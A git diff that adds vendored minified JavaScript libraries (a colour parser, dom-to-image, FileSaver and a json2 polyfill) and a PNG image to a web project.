ao = F(ap); + ap = ak(an, M(0, parseFloat(ap))); + if (ao) { + ap = parseInt(ap * an, 10) / 100; + } + if (P.abs(ap - an) < 0.000001) { + return 1; + } + return (ap % an) / parseFloat(an); + } + function u(an) { + return ak(1, M(0, an)); + } + function w(an) { + return parseInt(an, 16); + } + function X(an) { + return ( + typeof an == "string" && an.indexOf(".") != -1 && parseFloat(an) === 1 + ); + } + function F(an) { + return typeof an === "string" && an.indexOf("%") != -1; + } + function Q(an) { + return an.length == 1 ? "0" + an : "" + an; + } + function H(an) { + if (an <= 1) { + an = an * 100 + "%"; + } + return an; + } + function V(an) { + return Math.round(parseFloat(an) * 255).toString(16); + } + function C(an) { + return w(an) / 255; + } + var x = (function () { + var ar = "[-\\+]?\\d+%?"; + var aq = "[-\\+]?\\d*\\.\\d+%?"; + var an = "(?:" + aq + ")|(?:" + ar + ")"; + var ap = + "[\\s|\\(]+(" + + an + + ")[,|\\s]+(" + + an + + ")[,|\\s]+(" + + an + + ")\\s*\\)?"; + var ao = + "[\\s|\\(]+(" + + an + + ")[,|\\s]+(" + + an + + ")[,|\\s]+(" + + an + + ")[,|\\s]+(" + + an + + ")\\s*\\)?"; + return { + rgb: new RegExp("rgb" + ap), + rgba: new RegExp("rgba" + ao), + hsl: new RegExp("hsl" + ap), + hsla: new RegExp("hsla" + ao), + hsv: new RegExp("hsv" + ap), + hsva: new RegExp("hsva" + ao), + hex3: /^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/, + hex6: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/, + hex8: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/, + }; + })(); + function N(ao) { + ao = ao.replace(Y, "").replace(K, "").toLowerCase(); + var an = false; + if (ah[ao]) { + ao = ah[ao]; + an = true; + } else { + if (ao == "transparent") { + return { r: 0, g: 0, b: 0, a: 0, format: "name" }; + } + } + var ap; + if ((ap = x.rgb.exec(ao))) { + return { r: ap[1], g: ap[2], b: ap[3] }; + } + if ((ap = x.rgba.exec(ao))) { + return { r: ap[1], g: ap[2], b: ap[3], a: ap[4] }; + } + if ((ap = x.hsl.exec(ao))) { + return { h: ap[1], s: ap[2], l: ap[3] }; + } + if ((ap = x.hsla.exec(ao))) { + return { h: ap[1], s: ap[2], l: ap[3], a: ap[4] }; + } + if ((ap = x.hsv.exec(ao))) { + return { h: ap[1], s: ap[2], v: ap[3] }; + } + if ((ap = x.hsva.exec(ao))) { + return { h: ap[1], s: ap[2], v: ap[3], a: ap[4] }; + } + if ((ap = x.hex8.exec(ao))) { + return { + a: C(ap[1]), + r: w(ap[2]), + g: w(ap[3]), + b: w(ap[4]), + format: an ? "name" : "hex8", + }; + } + if ((ap = x.hex6.exec(ao))) { + return { + r: w(ap[1]), + g: w(ap[2]), + b: w(ap[3]), + format: an ? "name" : "hex", + }; + } + if ((ap = x.hex3.exec(ao))) { + return { + r: w(ap[1] + "" + ap[1]), + g: w(ap[2] + "" + ap[2]), + b: w(ap[3] + "" + ap[3]), + format: an ? "name" : "hex", + }; + } + return false; + } + window.tinycolor = af; + })(); + e(function () { + if (e.fn.spectrum.load) { + e.fn.spectrum.processNativeColorInputs(); + } + }); + }); + \ No newline at end of file diff --git a/js/download-img.js b/js/download-img.js new file mode 100644 index 0000000..e908c64 --- /dev/null +++ b/js/download-img.js @@ -0,0 +1,501 @@ +/*! dom-to-image 10-06-2017 */ ! function(a) { + "use strict"; + + function b(a, b) { + function c(a) { + return b.bgcolor && (a.style.backgroundColor = b.bgcolor), b.width && (a.style.width = b.width + "px"), b.height && (a.style.height = b.height + "px"), b.style && Object.keys(b.style).forEach(function(c) { + a.style[c] = b.style[c] + }), a + } + return b = b || {}, g(b), Promise.resolve(a).then(function(a) { + return i(a, b.filter, !0) + }).then(j).then(k).then(c).then(function(c) { + return l(c, b.width || q.width(a), b.height || q.height(a)) + }) + } + + function c(a, b) { + return h(a, b || {}).then(function(b) { + return b.getContext("2d").getImageData(0, 0, q.width(a), q.height(a)).data + }) + } + + function d(a, b) { + return h(a, b || {}).then(function(a) { + return a.toDataURL() + }) + } + + function e(a, b) { + return b = b || {}, h(a, b).then(function(a) { + return a.toDataURL("image/jpeg", b.quality || 1) + }) + } + + function f(a, b) { + return h(a, b || {}).then(q.canvasToBlob) + } + + function g(a) { + "undefined" == typeof a.imagePlaceholder ? v.impl.options.imagePlaceholder = u.imagePlaceholder : v.impl.options.imagePlaceholder = a.imagePlaceholder, "undefined" == typeof a.cacheBust ? v.impl.options.cacheBust = u.cacheBust : v.impl.options.cacheBust = a.cacheBust + } + + function h(a, c) { + function d(a) { + var b = document.createElement("canvas"); + if (b.width = c.width || q.width(a), b.height = c.height || q.height(a), c.bgcolor) { + var d = b.getContext("2d"); + d.fillStyle = c.bgcolor, d.fillRect(0, 0, b.width, b.height) + } + return b + } + return b(a, c).then(q.makeImage).then(q.delay(100)).then(function(b) { + var c = d(a); + return c.getContext("2d").drawImage(b, 0, 0), c + }) + } + + function i(a, b, c) { + function d(a) { + return a instanceof HTMLCanvasElement ? q.makeImage(a.toDataURL()) : a.cloneNode(!1) + } + + function e(a, b, c) { + function d(a, b, c) { + var d = Promise.resolve(); + return b.forEach(function(b) { + d = d.then(function() { + return i(b, c) + }).then(function(b) { + b && a.appendChild(b) + }) + }), d + } + var e = a.childNodes; + return 0 === e.length ? Promise.resolve(b) : d(b, q.asArray(e), c).then(function() { + return b + }) + } + + function f(a, b) { + function c() { + function c(a, b) { + function c(a, b) { + q.asArray(a).forEach(function(c) { + b.setProperty(c, a.getPropertyValue(c), a.getPropertyPriority(c)) + }) + } + a.cssText ? b.cssText = a.cssText : c(a, b) + } + c(window.getComputedStyle(a), b.style) + } + + function d() { + function c(c) { + function d(a, b, c) { + function d(a) { + var b = a.getPropertyValue("content"); + return a.cssText + " content: " + b + ";" + } + + function e(a) { + function b(b) { + return b + ": " + a.getPropertyValue(b) + (a.getPropertyPriority(b) ? " !important" : "") + } + return q.asArray(a).map(b).join("; ") + ";" + } + var f = "." + a + ":" + b, + g = c.cssText ? d(c) : e(c); + return document.createTextNode(f + "{" + g + "}") + } + var e = window.getComputedStyle(a, c), + f = e.getPropertyValue("content"); + if ("" !== f && "none" !== f) { + var g = q.uid(); + b.className = b.className + " " + g; + var h = document.createElement("style"); + h.appendChild(d(g, c, e)), b.appendChild(h) + } + }[":before", ":after"].forEach(function(a) { + c(a) + }) + } + + function e() { + a instanceof HTMLTextAreaElement && (b.innerHTML = a.value), a instanceof HTMLInputElement && b.setAttribute("value", a.value) + } + + function f() { + b instanceof SVGElement && (b.setAttribute("xmlns", "http://www.w3.org/2000/svg"), b instanceof SVGRectElement && ["width", "height"].forEach(function(a) { + var c = b.getAttribute(a); + c && b.style.setProperty(a, c) + })) + } + return b instanceof Element ? Promise.resolve().then(c).then(d).then(e).then(f).then(function() { + return b + }) : b + } + return c || !b || b(a) ? Promise.resolve(a).then(d).then(function(c) { + return e(a, c, b) + }).then(function(b) { + return f(a, b) + }) : Promise.resolve() + } + + function j(a) { + return s.resolveAll().then(function(b) { + var c = document.createElement("style"); + return a.appendChild(c), c.appendChild(document.createTextNode(b)), a + }) + } + + function k(a) { + return t.inlineAll(a).then(function() { + return a + }) + } + + function l(a, b, c) { + return Promise.resolve(a).then(function(a) { + return a.setAttribute("xmlns", "http://www.w3.org/1999/xhtml"), (new XMLSerializer).serializeToString(a) + }).then(q.escapeXhtml).then(function(a) { + return '' + a + "" + }).then(function(a) { + return '' + a + "" + }).then(function(a) { + return "data:image/svg+xml;charset=utf-8," + a + }) + } + + function m() { + function a() { + var a = "application/font-woff", + b = "image/jpeg"; + return { + woff: a, + woff2: a, + ttf: "application/font-truetype", + eot: "application/vnd.ms-fontobject", + png: "image/png", + jpg: b, + jpeg: b, + gif: "image/gif", + tiff: "image/tiff", + svg: "image/svg+xml" + } + } + + function b(a) { + var b = /\.([^\.\/]*?)$/g.exec(a); + return b ? b[1] : "" + } + + function c(c) { + var d = b(c).toLowerCase(); + return a()[d] || "" + } + + function d(a) { + return a.search(/^(data:)/) !== -1 + } + + function e(a) { + return new Promise(function(b) { + for (var c = window.atob(a.toDataURL().split(",")[1]), d = c.length, e = new Uint8Array(d), f = 0; f < d; f++) e[f] = c.charCodeAt(f); + b(new Blob([e], { + type: "image/png" + })) + }) + } + + function f(a) { + return a.toBlob ? new Promise(function(b) { + a.toBlob(b) + }) : e(a) + } + + function g(a, b) { + var c = document.implementation.createHTMLDocument(), + d = c.createElement("base"); + c.head.appendChild(d); + var e = c.createElement("a"); + return c.body.appendChild(e), d.href = b, e.href = a, e.href + } + + function h() { + var a = 0; + return function() { + function b() { + return ("0000" + (Math.random() * Math.pow(36, 4) << 0).toString(36)).slice(-4) + } + return "u" + b() + a++ + } + } + + function i(a) { + return new Promise(function(b, c) { + var d = new Image; + d.onload = function() { + b(d) + }, d.onerror = c, d.src = a + }) + } + + function j(a) { + var b = 3e4; + return v.impl.options.cacheBust && (a += (/\?/.test(a) ? "&" : "?") + (new Date).getTime()), new Promise(function(c) { + function d() { + if (4 === g.readyState) { + if (200 !== g.status) return void(h ? c(h) : f("cannot fetch resource: " + a + ", status: " + g.status)); + var b = new FileReader; + b.onloadend = function() { + var a = b.result.split(/,/)[1]; + c(a) + }, b.readAsDataURL(g.response) + } + } + + function e() { + h ? c(h) : f("timeout of " + b + "ms occured while fetching resource: " + a) + } + + function f(a) { + console.error(a), c("") + } + var g = new XMLHttpRequest; + g.onreadystatechange = d, g.ontimeout = e, g.responseType = "blob", g.timeout = b, g.open("GET", a, !0), g.send(); + var h; + if (v.impl.options.imagePlaceholder) { + var i = v.impl.options.imagePlaceholder.split(/,/); + i && i[1] && (h = i[1]) + } + }) + } + + function k(a, b) { + return "data:" + b + ";base64," + a + } + + function l(a) { + return a.replace(/([.*+?^${}()|\[\]\/\\])/g, "\\$1") + } + + function m(a) { + return function(b) { + return new Promise(function(c) { + setTimeout(function() { + c(b) + }, a) + }) + } + } + + function n(a) { + for (var b = [], c = a.length, d = 0; d < c; d++) b.push(a[d]); + return b + } + + function o(a) { + return a.replace(/#/g, "%23").replace(/\n/g, "%0A") + } + + function p(a) { + var b = r(a, "border-left-width"), + c = r(a, "border-right-width"); + return a.scrollWidth + b + c + } + + function q(a) { + var b = r(a, "border-top-width"), + c = r(a, "border-bottom-width"); + return a.scrollHeight + b + c + } + + function r(a, b) { + var c = window.getComputedStyle(a).getPropertyValue(b); + return parseFloat(c.replace("px", "")) + } + return { + escape: l, + parseExtension: b, + mimeType: c, + dataAsUrl: k, + isDataUrl: d, + canvasToBlob: f, + resolveUrl: g, + getAndEncode: j, + uid: h(), + delay: m, + asArray: n, + escapeXhtml: o, + makeImage: i, + width: p, + height: q + } + } + + function n() { + function a(a) { + return a.search(e) !== -1 + } + + function b(a) { + for (var b, c = []; null !== (b = e.exec(a));) c.push(b[1]); + return c.filter(function(a) { + return !q.isDataUrl(a) + }) + } + + function c(a, b, c, d) { + function e(a) { + return new RegExp("(url\\(['\"]?)(" + q.escape(a) + ")(['\"]?\\))", "g") + } + return Promise.resolve(b).then(function(a) { + return c ? q.resolveUrl(a, c) : a + }).then(d || q.getAndEncode).then(function(a) { + return q.dataAsUrl(a, q.mimeType(b)) + }).then(function(c) { + return a.replace(e(b), "$1" + c + "$3") + }) + } + + function d(d, e, f) { + function g() { + return !a(d) + } + return g() ? Promise.resolve(d) : Promise.resolve(d).then(b).then(function(a) { + var b = Promise.resolve(d); + return a.forEach(function(a) { + b = b.then(function(b) { + return c(b, a, e, f) + }) + }), b + }) + } + var e = /url\(['"]?([^'"]+?)['"]?\)/g; + return { + inlineAll: d, + shouldProcess: a, + impl: { + readUrls: b, + inline: c + } + } + } + + function o() { + function a() { + return b(document).then(function(a) { + return Promise.all(a.map(function(a) { + return a.resolve() + })) + }).then(function(a) { + return a.join("\n") + }) + } + + function b() { + function a(a) { + return a.filter(function(a) { + return a.type === CSSRule.FONT_FACE_RULE + }).filter(function(a) { + return r.shouldProcess(a.style.getPropertyValue("src")) + }) + } + + function b(a) { + var b = []; + return a.forEach(function(a) { + try { + q.asArray(a.cssRules || []).forEach(b.push.bind(b)) + } catch (c) { + console.log("Error while reading CSS rules from " + a.href, c.toString()) + } + }), b + } + + function c(a) { + return { + resolve: function() { + var b = (a.parentStyleSheet || {}).href; + return r.inlineAll(a.cssText, b) + }, + src: function() { + return a.style.getPropertyValue("src") + } + } + } + return Promise.resolve(q.asArray(document.styleSheets)).then(b).then(a).then(function(a) { + return a.map(c) + }) + } + return { + resolveAll: a, + impl: { + readAll: b + } + } + } + + function p() { + function a(a) { + function b(b) { + return q.isDataUrl(a.src) ? Promise.resolve() : Promise.resolve(a.src).then(b || q.getAndEncode).then(function(b) { + return q.dataAsUrl(b, q.mimeType(a.src)) + }).then(function(b) { + return new Promise(function(c, d) { + a.onload = c, a.onerror = d, a.src = b + }) + }) + } + return { + inline: b + } + } + + function b(c) { + function d(a) { + var b = a.style.getPropertyValue("background"); + return b ? r.inlineAll(b).then(function(b) { + a.style.setProperty("background", b, a.style.getPropertyPriority("background")) + }).then(function() { + return a + }) : Promise.resolve(a) + } + return c instanceof Element ? d(c).then(function() { + return c instanceof HTMLImageElement ? a(c).inline() : Promise.all(q.asArray(c.childNodes).map(function(a) { + return b(a) + })) + }) : Promise.resolve(c) + } + return { + inlineAll: b, + impl: { + newImage: a + } + } + } + var q = m(), + r = n(), + s = o(), + t = p(), + u = { + imagePlaceholder: void 0, + cacheBust: !1 + }, + v = { + toSvg: b, + toPng: d, + toJpeg: e, + toBlob: f, + toPixelData: c, + impl: { + fontFaces: s, + images: t, + util: q, + inliner: r, + options: {} + } + }; + "undefined" != typeof module ? module.exports = v : a.domtoimage = v +}(this); \ No newline at end of file diff --git a/js/download.js b/js/download.js new file mode 100644 index 0000000..3898db8 --- /dev/null +++ b/js/download.js @@ -0,0 +1,89 @@ +(function(a, b) { + if ("function" == typeof define && define.amd) define([], b); + else if ("undefined" != typeof exports) b(); + else { + b(), a.FileSaver = { + exports: {} + }.exports + } +})(this, function() { + "use strict"; + + function b(a, b) { + return "undefined" == typeof b ? b = { + autoBom: !1 + } : "object" != typeof b && (console.warn("Deprecated: Expected third argument to be a object"), b = { + autoBom: !b + }), b.autoBom && /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(a.type) ? new Blob(["\uFEFF", a], { + type: a.type + }) : a + } + + function c(a, b, c) { + var d = new XMLHttpRequest; + d.open("GET", a), d.responseType = "blob", d.onload = function() { + g(d.response, b, c) + }, d.onerror = function() { + console.error("could not download file") + }, d.send() + } + + function d(a) { + var b = new XMLHttpRequest; + b.open("HEAD", a, !1); + try { + b.send() + } catch (a) {} + return 200 <= b.status && 299 >= b.status + } + + function e(a) { + try { + a.dispatchEvent(new MouseEvent("click")) + } catch (c) { + var b = document.createEvent("MouseEvents"); + b.initMouseEvent("click", !0, !0, window, 0, 0, 0, 80, 20, !1, !1, !1, !1, 0, null), a.dispatchEvent(b) + } + } + var f = "object" == typeof window && window.window === window ? window : "object" == typeof self && self.self === self ? self : "object" == typeof global && global.global === global ? global : void 0, + a = f.navigator && /Macintosh/.test(navigator.userAgent) && /AppleWebKit/.test(navigator.userAgent) && !/Safari/.test(navigator.userAgent), + g = f.saveAs || ("object" != typeof window || window !== f ? function() {} : "download" in HTMLAnchorElement.prototype && !a ? function(b, g, h) { + var i = f.URL || f.webkitURL, + j = document.createElement("a"); + g = g || b.name || "download", j.download = g, j.rel = "noopener", "string" == typeof b ? (j.href = b, j.origin === location.origin ? e(j) : d(j.href) ? c(b, g, h) : e(j, j.target = "_blank")) : (j.href = i.createObjectURL(b), setTimeout(function() { + i.revokeObjectURL(j.href) + }, 4E4), setTimeout(function() { + e(j) + }, 0)) + } : "msSaveOrOpenBlob" in navigator ? function(f, g, h) { + if (g = g || f.name || "download", "string" != typeof f) navigator.msSaveOrOpenBlob(b(f, h), g); + else if (d(f)) c(f, g, h); + else { + var i = document.createElement("a"); + i.href = f, i.target = "_blank", setTimeout(function() { + e(i) + }) + } + } : function(b, d, e, g) { + if (g = g || open("", "_blank"), g && (g.document.title = g.document.body.innerText = "downloading..."), "string" == typeof b) return c(b, d, e); + var h = "application/octet-stream" === b.type, + i = /constructor/i.test(f.HTMLElement) || f.safari, + j = /CriOS\/[\d]+/.test(navigator.userAgent); + if ((j || h && i || a) && "undefined" != typeof FileReader) { + var k = new FileReader; + k.onloadend = function() { + var a = k.result; + a = j ? a : a.replace(/^data:[^;]*;/, "data:attachment/file;"), g ? g.location.href = a : location = a, g = null + }, k.readAsDataURL(b) + } else { + var l = f.URL || f.webkitURL, + m = l.createObjectURL(b); + g ? g.location = m : location.href = m, g = null, setTimeout(function() { + l.revokeObjectURL(m) + }, 4E4) + } + }); + f.saveAs = g.saveAs = g, "undefined" != typeof module && (module.exports = g) +}); + +//# sourceMappingURL=FileSaver.min.js.map \ No newline at end of file diff --git a/js/parse-text.js b/js/parse-text.js new file mode 100644 index 0000000..79d36ed --- /dev/null +++ b/js/parse-text.js @@ -0,0 +1,86 @@ +"object" != typeof JSON && (JSON = {}), + function() { + "use strict"; + + function f(t) { + return 10 > t ? "0" + t : t + } + + function this_value() { + return this.valueOf() + } + + function quote(t) { + return rx_escapable.lastIndex = 0, rx_escapable.test(t) ? '"' + t.replace(rx_escapable, function(t) { + var e = meta[t]; + return "string" == typeof e ? e : "\\u" + ("0000" + t.charCodeAt(0).toString(16)).slice(-4) + }) + '"' : '"' + t + '"' + } + + function str(t, e) { + var r, n, o, u, f, a = gap, + i = e[t]; + switch (i && "object" == typeof i && "function" == typeof i.toJSON && (i = i.toJSON(t)), "function" == typeof rep && (i = rep.call(e, t, i)), typeof i) { + case "string": + return quote(i); + case "number": + return isFinite(i) ? i + "" : "null"; + case "boolean": + case "null": + return i + ""; + case "object": + if (!i) return "null"; + if (gap += indent, f = [], "[object Array]" === Object.prototype.toString.apply(i)) { + for (u = i.length, r = 0; u > r; r += 1) f[r] = str(r, i) || "null"; + return o = 0 === f.length ? "[]" : gap ? "[\n" + gap + f.join(",\n" + gap) + "\n" + a + "]" : "[" + f.join(",") + "]", gap = a, o + } + if (rep && "object" == typeof rep) + for (u = rep.length, r = 0; u > r; r += 1) "string" == typeof rep[r] && (n = rep[r], o = str(n, i), o && f.push(quote(n) + (gap ? ": " : ":") + o)); + else + for (n in i) Object.prototype.hasOwnProperty.call(i, n) && (o = str(n, i), o && f.push(quote(n) + (gap ? ": " : ":") + o)); + return o = 0 === f.length ? "{}" : gap ? "{\n" + gap + f.join(",\n" + gap) + "\n" + a + "}" : "{" + f.join(",") + "}", gap = a, o + } + } + var rx_one = /^[\],:{}\s]*$/, + rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, + rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, + rx_four = /(?:^|:|,)(?:\s*\[)+/g, + rx_escapable = /[\\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g; + "function" != typeof Date.prototype.toJSON && (Date.prototype.toJSON = function() { + return isFinite(this.valueOf()) ? this.getUTCFullYear() + "-" + f(this.getUTCMonth() + 1) + "-" + f(this.getUTCDate()) + "T" + f(this.getUTCHours()) + ":" + f(this.getUTCMinutes()) + ":" + f(this.getUTCSeconds()) + "Z" : null + }, Boolean.prototype.toJSON = this_value, Number.prototype.toJSON = this_value, String.prototype.toJSON = this_value); + var gap, indent, meta, rep; + "function" != typeof JSON.stringify && (meta = { + "\b": "\\b", + " ": "\\t", + "\n": "\\n", + "\f": "\\f", + "\r": "\\r", + '"': '\\"', + "\\": "\\\\" + }, JSON.stringify = function(t, e, r) { + var n; + if (gap = "", indent = "", "number" == typeof r) + for (n = 0; r > n; n += 1) indent += " "; + else "string" == typeof r && (indent = r); + if (rep = e, e && "function" != typeof e && ("object" != typeof e || "number" != typeof e.length)) throw Error("JSON.stringify"); + return str("", { + "": t + }) + }), "function" != typeof JSON.parse && (JSON.parse = function(text, reviver) { + function walk(t, e) { + var r, n, o = t[e]; + if (o && "object" == typeof o) + for (r in o) Object.prototype.hasOwnProperty.call(o, r) && (n = walk(o, r), void 0 !== n ? o[r] = n : delete o[r]); + return reviver.call(t, e, o) + } + var j; + if (text += "", rx_dangerous.lastIndex = 0, rx_dangerous.test(text) && (text = text.replace(rx_dangerous, function(t) { + return "\\u" + ("0000" + t.charCodeAt(0).toString(16)).slice(-4) + })), rx_one.test(text.replace(rx_two, "@").replace(rx_three, "]").replace(rx_four, ""))) return j = eval("(" + text + ")"), "function" == typeof reviver ? walk({ + "": j + }, "") : j; + throw new SyntaxError("JSON.parse") + }) + }(); \ No newline at end of file diff --git a/lsrp.png b/lsrp.png new file mode 100644 index 0000000000000000000000000000000000000000..19800fc87c24933c86cc49a797b63ce240604a82 GIT binary patch literal 12703 zcmaib1yq$?6y>8!=@O(LjkI)^JU|*GloBMQySt@9LApC7rMpDBQA)bIV=n*9tTnUN ztTo>PWx@B}{qDWz?6dbi_k}4dzIl#Lf)0T|p2K9NR3Q+!Fz~ZCDl+(YOnAQ#{D)>M ztL*@RV0J%!!+mAOB!xgIAuuU%b=UcQFCXQEcgY76yhUh!b03^krHps11FK9eU(9}m zF(n2!ea5R$^xxBCuCy}xCqSu~pVmv^@b%9Jvr*WKQVG&N1-XfYItBOzSJQW^#`9xa zQGee;1B!xR3f&ezTwEf|`y;1Wp}l;!i=tbn``ghKO>GZIe{Iu?)i}g_yoPVnPDKu* z9Tsz_s8RpB7*^U)asKCzaoGP|P%6r&OIAYc>52*TeYz;o;GQmVT==KUAByp>nUH!z=(f z_seL~@NR`h>^+nWno3VBz3IMFaPShBDkk;qgS>~08@R&>AugLkT3_HA&$RFSs7<9|UCZx&G-cKtosOFi#02O7o^^%9G86`=P~?9vn&o>&{g7A3BCUAD^fgmOHzCJ z-$Wr5L;ptqH2FOe=Gsz-A{>dr-7yVsdLpzh6?AC5QEQIg_9uel9&W!BqS)MIgWDoH z<*K^z5AEFfVkX-Omnlu6mQ1>d&ZQ;j5b%E-d$(n*c8re37&Q->amS5p=FD}Ej$)hF&c|>FmubpNN=jDG zzsVSRBa_3SPVuf+7I&L(I^pmm^^BZ{hsV&zw4@};>baL3pUBwWv(7~H%=FwTl()+A z$FUPXydgnK_hSJd=QyF`t-+PPxsILBa@ggK7L`7X4|BS0*=1W{$Tmssxle2Snc{%Hr zDVSqzZ7t(O-@}9V*17w2bOr8MxLJD6n3(`XYuu`Id$iAWMlPF!hbK6M!kZY9Ib~7h zae0ur)WY2A0JZeFpfCj6QedTI7WkIl_O8lv(lb7c`H9Ly7T zrRHZMs_4-oH)iuTzj02vu5TnJtySRyIx?>geyH%c8nW7EziozN~VbQLfu=l3dH4`^Ih?q)syvK zM&83t|JQ@CBQ)rT8eCL;o?+dauVsD_eKB-irPp8!M-nNckd63D*=l7(na|^bWxD(W zbD$u~S1fXEiF%MCnNfUcf$r=&HBqkDF z&PC48>zrL&WH&bIY|osNM1B&*xjz*mX7(+zND09tlQ1;QN-}_#(1$APhuW%<Y6I~c*juXoJX7g)>+HEHxYTj6zhJjNUmF;q@m`;a zGR75*Nsalw!IrA*rew^Fe8!9$GfnYQ&&%sxrGDXqoRqSKbvw_;y2Oc(&pw{p3dgx zj2DMXSkZj}Abt2=V(!gVqtL}O=IbjS0VCJFwFY;x-H+!;B}ci*BqyS)6^75qFYH8pU|tb6b) zvtg~ygty4q`8gFYFOi0ZMuYu2dU0{_(P_q`=ll}?OH6zM0>ka`JYsV4-U{z?=2G2y zObkMn7}=Y(f%yKBkqj5|ptxth1_zJkKUV~$>TgqbIgSxg;V_+1+CW4Q#XL`M@A0t! z#`~w6@}w~8)zsIc2v4lr_uMN4bYPz;0I(Iwh*m}WRLx%){r&rQZgzGtDJhW*n|WgD z*8v@3iUn%!5AE#`0(|_@Fg*Isi+^SHi`j8;xSZb=xH&l`q@?ih@FpiGp~6i7nL*s&KHNhl26RR$?2b+O>MbQ_dG2vjhK{F{(I~C+FH9A zw~@U)u5O)WM}NQU`>^`EJI{!ysMV@Ia!FHD`a0{s;cRVpoD4jrGrPybf``i)58D~a zYHA1u#nXx^DzQc<)~6f4!P|8uzy3TrJc=xljGuaG&?>jzp3=F&b8z-^Yq?&G_nV&G}v31Ir#P zLS}Wf+RdM(yWdN>>vgk<`ra>gXDa#@Y}z8hV}*ITu~}MLK3lp!a4GP*V0%1agM$EY zlCrXTRcEs#!nRo&lXV0|{DjSGvnXX~NJTECdxp~l;S>l| z|6yIPZ*D$8z(l7vasV7y$*ZF-EITkzODwn{QwxB?*3((U5qxV4_;d<~j>B5Th;JUtv_>G9z*z`J5iTljQ{D{k|hhQ{l| znd$clhK*YQj!%hvl%zDI9FsytHhjdTD&QC_tgQC2Y8k%TF1N!$l!t^}Tl5BSEv>CJ z_fB&bWUDIr?qm&9%DZbHA&fxWEr-*sUzQc%c2*7j~8T{v>rr+4~MQH5rcHXt2L!Rmh zA?tg-%>-UHwNJ+d$dm+P*ei5?g@*MDc5D5ymGvEI zf-acC!ovN7gPmEDA?l*Hok1AmR7L;#qI0UN@w~je&?vfQXNh%mb*tRZcLEdGGORqW z*Aw|Xuh@%AO2B-h-=^^Ns3)i_i`uOZ5>O!mnN{T*geh`&)D`37aJHo~IX%4!SQY~d z%QO3Jnym72%qJSRl@&5NHx~w|S|HO=RTT$FO~24lFp_$!5EOre zZrj~DTl|TaJ%69XUUSF9{Cx7!#2+C4;{5;odEb20i7{?n0LT<^q|8)?lI9$yW~=A! zbeWmCxwxC#PxaQj@jQ7xryYDICZ_RT^uyiV_}+=JF~5QgZ=K@hU#L8Uc^$IBIK%0} z9_q~U@dJUv9v8Au1t}0B!BZA*2kh}ng{}d|Iqs*429UTy@pw$Z!N(U0$T8{@Kx42q zQ~uSk+Z;{{^sJb&=mAR*3Q7Pv)?mqavI5;;e}5)` z@)K8~iH*d&Il0q`!^?@Md4MP977-yoYXV6+zI$F{_pdkfwCv|kHyw@ln%EqwV?%Bq zkThcg-QysY!dzTxs>uVCVOSzpzT~dUaOTv4X~Tt~o!0euI4Zijr2BK#^mK7YxA)`z z_Dz3PukC*h&AJ@R?RTJ19WuMrd!6j(*w-d9}|$T)!$+tBJc7LB`g=EmS+Xe!H##TJi5kjRRJU!;=}RyHu0 zt-!tp^p4>F{QZfhMNbK=!r4wqg<^`nb$tptI=b2Q$+~z(i{m!#E4}8VQq7VlxhIbt zKvgJb$(OB6{Q`*4Pu1F-n4rFCW#d3&4JbQI5=>h}gffvv^JaD>7q4R&;wY&F>{g{> zPLywjJ?A!*)1?|NSB_n`dWiIM0o8~BZ(EbOhOS|KeJp2XVBpI_h#`En9H6eICdt-% zwaSfQpAVBLdfBAP@2cnR-r}8%LP?L7PPsz5wBAHOQ!+hYc(KKq(=Wbr7MIdqkcAcZ7ri z7u0l0r2_5f#I}sRxqqm1dEZYEH(;DyknYa3rgeP?BIaolpo)R$G}ab7Q^I=6qjegmiv>E^U$SAqzeI8+1~RxRsgmINpAdL+2)QP{ZxEza-G0K^UDl z-V`RbhtR6RQ4vmf{J3-x_0?RYjiS9n2>Oyb$uisIa)|s_giubK_w{QS;pWv9-*<)l z%%sL~t$k;~G(J0ja?c}ikPd6Md{Fp*10s{z&t`xvg8voki_)o=e6at=e;{tf4_}cO znFb27vt#4$7&_>Be^<(tFP^YS0+a# zS*kixnXp2$B+_FqOez%3CBefb8o_nRs4DQ;Pxf5~ZK&P$I4vXHkOZzhbJ8Wb1TE}q zZ}F4`BMr?*9r);2gXV8E4ZH8x388JMcxB5^*`+A2aB_TNM&cpTgmwgAxW?qyH%cT5 zCd<4vlVdxVhf|BN#QKCK_uaA==g`?^E|N$znr9a;(-G&+YXNTHNCsr_SUtnUldyWD*trLRt`HqS9)C7M#4qM&`q$yIX zXN(YW*5vj|s-mB>XjO`xC{DI|xGm+-qW%X=H&-dk(mm17&+k{_exAeBPI$6esN%P9GhElG!a-vtiWepgk z|0EQBymJ5$o%HR^zZ}AqP^~gnO6o?JL-K9M#!9puGn1Di!|koDB05z@(pp|PnwJHf zuuwv^6hvjLWjdRlE6-NS-Q)~k1wZ;Y=;oqh=nkBEx?MgHX75IC0t&X4_ zk3yPAL?cPFx5{|IMp@*a3^|nmbj!=pj`zYp@LQ(plzsCQ$*4)=BC!F!hk!X}0`Gg)^S?&VSW4^d|FVy(c3M6slc`&8Ej>=;2BxL>#Jc=)H}MlW|GwP5~OEj_pvveI!$NlD6i znQn)v(TS&_xq%TfIg@N62|XDV$_rR2zj;1FJL-(8KYWSUyScf^x55nN!S88~OHF+V ze{{RJs0aIYM`-Xm%+wnX{`l*4qM0HU<9wuVSsAo*76 zCvApoTuesW@@-~9YLs1RG@L7{m<YYi)M6|NQ)X zVOd!uK)D=rtE1EYb$ghX$^@1Ozn~fvPE0`KH}1^PJSKw+fQ!kQ8TvAe*G+ZCAFp4E zHI4s_0H`+56b1bl&_Rgg(%C72Pe^D4NYd8fVc+M9mSCVH8OwG|(u6$-KTns6+t{#$hlh7QSUEYp z22O*rmR2Z8vnQLUx%s8f5sDAx)MEIP#a36xV{Brw0?Zq&Hg93b@}}q`|8%K#0L9}~ 